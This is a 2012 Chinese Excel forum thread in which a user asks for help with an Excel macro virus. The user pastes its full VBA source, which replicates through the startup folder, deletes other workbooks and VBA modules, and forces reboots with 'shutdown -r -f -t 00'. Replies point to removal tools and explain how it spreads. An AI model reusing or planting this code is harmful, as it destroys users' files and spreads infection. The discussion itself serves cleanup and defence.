ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 Excel Home精品图文教程库
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
300集Office 2010微视频教程 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 4040|回复: 14

[求助] SOS: 發出錯Office宏病毒,求大家協助解決

[复制链接]

TA的精华主题

TA的得分主题

发表于 2012-3-7 11:34 | 显示全部楼层 |阅读模式
Excel文件中發現未知代碼(SPECS),刪除後保存,再開又出現,Excel不正常了,代碼如下:
Sub auto_open()
On Error Resume Next
Application.EnableEvents = False
    For Each kil In Workbooks
    If kil.Name <> "SPECS.xls" And kil.Path = Application.StartupPath Then
    fn = kil.FullName
    kil.Close (False)
    Kill (fn)
    End If
    Next
Application.EnableEvents = True
Randomize
If ThisWorkbook.Path <> Application.StartupPath Then
    If Dir(Application.StartupPath & "\SPECS.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets(1).Copy
    nam = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks(nam).SaveAs (Application.StartupPath & "\SPECS.xls")
    End If
If Rnd() < 0.01 Then ThisWorkbook.Password = "joker"
Else
'att
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
End If
Application.OnWindow = "cop"
Application.OnSheetActivate = "cop"
End Sub
Sub cop()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each mo In ActiveWorkbook.Modules
If mo.Name <> "SPECS" Then mo.Delete
Next
If ActiveWorkbook.Sheets(1).Name <> "SPECS" Then
ThisWorkbook.Sheets(1).Copy ActiveWorkbook.Sheets(1)
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If
Application.OnSheetActivate = "cop"
End Sub
Sub auto_close()
If Rnd() < 0.01 Then Shell ("shutdown -r -f -t 00")
End Sub

TA的精华主题

TA的得分主题

发表于 2012-3-7 11:58 | 显示全部楼层
本帖最后由 baoshaobo000 于 2012-3-7 12:00 编辑

我的手上有专杀该宏病毒的软件,杀完后把宏安全设置成高就可以了
我也是在网上下的,不知道传上来违法不,请作者见谅

TA的精华主题

TA的得分主题

发表于 2012-3-7 12:02 | 显示全部楼层

TA的精华主题

TA的得分主题

发表于 2012-3-7 12:03 | 显示全部楼层
参考:

StartUp.xls 宏病毒专杀&免疫工具        http://club.excelhome.net/thread-729460-1-1.html

[转帖] XF.Sic.gen病毒清除(EXCEL宏病毒)BOOK1         http://club.excelhome.net/forum.php?mod=viewthread&tid=688647

利用Excel插件做宏病毒监控V2.62        http://club.excelhome.net/thread-752823-1-1.html

自编VB删除宏病毒RESULTS的东东        http://club.excelhome.net/thread-831683-1-1.html

TA的精华主题

TA的得分主题

发表于 2012-3-7 12:09 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助
这个laroux的后代越来越恶作剧了,shutdown -r -f -t 00 强制关机了。
靠Sheets(1).Copy 就可以复制病毒自己。

laroux老祖宗,EXCEL上出现的第一个宏病毒,延续到如今。
一直被模仿,从未被超越。

那张神秘的sheet(1),到底是什么啊。。。。。
它是 document module和std module的神秘结合体。

TA的精华主题

TA的得分主题

 楼主| 发表于 2012-3-7 12:55 | 显示全部楼层
baoshaobo000 发表于 2012-3-7 11:58
我的手上有专杀该宏病毒的软件,杀完后把宏安全设置成高就可以了
我也是在网上下的,不知道传上来违法不,请作 ...

宏安全设置成高好像不能运行函数了

TA的精华主题

TA的得分主题

 楼主| 发表于 2012-3-7 12:56 | 显示全部楼层
LangQueS 发表于 2012-3-7 12:03
参考:

StartUp.xls 宏病毒专杀&免疫工具        http://club.excelhome.net/thread-729460-1-1.html

我估计可能是第一个:Startup

TA的精华主题

TA的得分主题

 楼主| 发表于 2012-3-7 12:57 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助
goodlong 发表于 2012-3-7 12:02
参考我这个贴3楼的回复地址:
http://club.excelhome.net/forum.php?mod=viewthread&tid=835276&page=1#pi ...

这个我刚刚下载了,用什么方式?双引擎?会不会将里面有用的宏和VBA删掉?

TA的精华主题

TA的得分主题

发表于 2012-3-7 13:14 | 显示全部楼层
rayxp 发表于 2012-3-7 12:57
这个我刚刚下载了,用什么方式?双引擎?会不会将里面有用的宏和VBA删掉?

你要不放心就选择自定义扫描

TA的精华主题

TA的得分主题

发表于 2012-3-7 15:33 | 显示全部楼层
kangatang 发表于 2012-3-7 12:09
这个laroux的后代越来越恶作剧了,shutdown -r -f -t 00 强制关机了。
靠Sheets(1).Copy 就可以复制病毒自 ...

Laroux,揭开你的面纱
http://club.excelhome.net/forum. ... d=836323&extra=
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-3-29 03:30 , Processed in 0.050280 second(s), 9 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表